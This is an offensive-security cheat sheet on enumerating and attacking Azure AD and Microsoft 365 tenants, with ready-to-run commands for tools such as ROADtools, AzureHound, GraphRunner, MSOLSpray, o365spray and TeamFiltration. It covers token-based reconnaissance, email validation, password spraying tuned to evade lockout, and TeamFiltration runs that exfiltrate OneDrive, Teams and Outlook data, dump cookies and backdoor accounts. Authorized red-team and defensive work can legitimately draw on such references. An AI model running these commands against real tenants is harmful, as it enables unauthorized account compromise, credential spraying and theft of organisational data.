Azure AD - Enumerate

contents

azure-enumeration.md

Azure AD - Collectors#

Microsoft Portals - Microsoft Administrator Sites

dirkjanm/ROADTool - A collection of Azure AD tools for offensive and defensive security purposes

roadrecon auth --access-token eyJ0eXA...roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"roadrecon gatherroadrecon gui

BloodHoundAD/AzureHound - Azure Data Exporter for BloodHound

./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json./azurehound -u "<username>@contoso.onmicrosoft.com" -p "<password>" list groups --tenant "<tenant>.onmicrosoft.com"./azurehound -j "<jwt>" list users --tenant "<tenant>.onmicrosoft.com"

BloodHoundAD/BARK - BloodHound Attack Research Kit

. .\BARK.ps1$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com"$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com"$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress

dafthack/GraphRunner - A Post-exploitation Toolset for Interacting with the Microsoft Graph API

Invoke-GraphRecon -Tokens $tokens -PermissionEnumInvoke-DumpCAPS -Tokens $tokens -ResolveGuidsInvoke-DumpApps -Tokens $tokensGet-DynamicGroups -Tokens $tokens

NetSPI/MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
```
PS C:> Import-Module .\MicroBurst.psm1PS C:> Import-Module .\Get-AzureDomainInfo.ps1PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
```

hausec/PowerZure - PowerShell framework to assess Azure security

Import-Module .\Powerzure.psd1Set-Subscription -Id [idgoeshere]Get-AzureTargetGet-AzureInTuneScriptShow-AzureKeyVaultContent -All

silverhack/monkey365 - Microsoft 365, Azure subscriptions and Microsoft Entra ID security configuration reviews.

Get-ChildItem -Recurse c:\monkey365 | Unblock-FileImport-Module C:\temp\monkey365Get-Help Invoke-Monkey365Get-Help Invoke-Monkey365 -ExamplesGet-Help Invoke-Monkey365 -Detailed

prowler-cloud/prowler - Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more
projectdiscovery/nuclei-templates - Community curated list of templates for the nuclei engine to find security vulnerabilities.
```
nuclei -t ~/nuclei-templates/cloud/azure/ -code -v
```
nccgroup/ScoutSuite - Multi-Cloud Security Auditing Tool

Flangvik/TeamFiltration - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts

TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --allTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --aad TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owaTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedriveTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teamsTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\2021\FooBar\OSINT\Usernames.txtTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --backdoorTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --database

Azure/StormSpotter - :warning: This repository has not been updated recently - Azure Red Team tool for graphing Azure and Azure Active Directory objects
nccgroup/Azucar - :warning: This repository has been archived - Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
FSecureLABS/Azurite - :warning: This repository has not been updated recently - Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
cyberark/SkyArk - :warning: This repository has not been updated recently - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.

Azure AD - User Enumeration#

Enumerate Tenant Informations#

Federation with Azure AD or O365

Get-AADIntLoginInformation -UserName <USER>@<TENANT NAME>.onmicrosoft.comhttps://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1

Get the Tenant ID

Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.comhttps://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configurationhttps://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration

Enumerate from a Guest Account#

powerpwn recon --tenant {tenantId} --cache-path {path}powerpwn dump -tenant {tenantId} --cache-path {path}powerpwn gui --cache-path {path}

Enumerate Emails#

By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

Validate email

PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txtadmin@<TENANT NAME>.onmicrosoft.com   - VALIDroot@<TENANT NAME>.onmicrosoft.com    - INVALIDtest@<TENANT NAME>.onmicrosoft.com    - VALIDcontact@<TENANT NAME>.onmicrosoft.com - INVALID

Extract email lists with a valid credentials : nyxgeek/o365recon

Install-Module MSOnlineInstall-Module AzureAD.\o365recon.ps1 -azure

Password Spraying#

The default lockout policy tolerates 10 failed attempts, then lock out an account for 60 seconds.

dafthack/MSOLSpray

PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -VerbosePS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020PS> Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

0xZDH/o365spray

o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com

Flangvik/TeamFiltration

TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regionsTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txtTeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00

Azure Services Enumeration#

Enumerate Tenant Domains#

Extract openly available information for the given tenant: aadinternals.com/osint

Invoke-AADIntReconAsOutsider -DomainName <DOMAIN>Invoke-AADIntReconAsOutsider -Domain "company.com" | Format-TableInvoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table

Enumerate Azure Subdomains#

PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -VerboseSubdomain Service--------- -------<TENANT NAME>.mail.protection.outlook.com Email<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain

Enumerate Services#

Using Az Powershell module

# Enumerate resourcesPS Az> Get-AzResource# List all VM's the user has access toPS Az> Get-AzVM # Get all webappsPS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}# Get all function appsPS Az> Get-AzFunctionApp# List all storage accountsPS Az> Get-AzStorageAccount# List all keyvaultsPS Az> Get-AzKeyVault# Get all application objects registered using the current tenantPS AzureAD> Get-AzureADApplication -All $true# Enumerate role assignmentsPS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com# Check AppID Alternative Names/Display Name PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl

Using az cli

PS> az vm listPS> az vm list --query "[].[name]" -o tablePS> az webapp listPS> az functionapp list --query "[].[name]" -o tablePS> az storage account listPS> az keyvault list

Multi Factor Authentication#

dafthack/MFASweep - A tool for checking if MFA is enabled on multiple Microsoft Services

Import-Module .\MFASweep.ps1Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Recon -IncludeADFS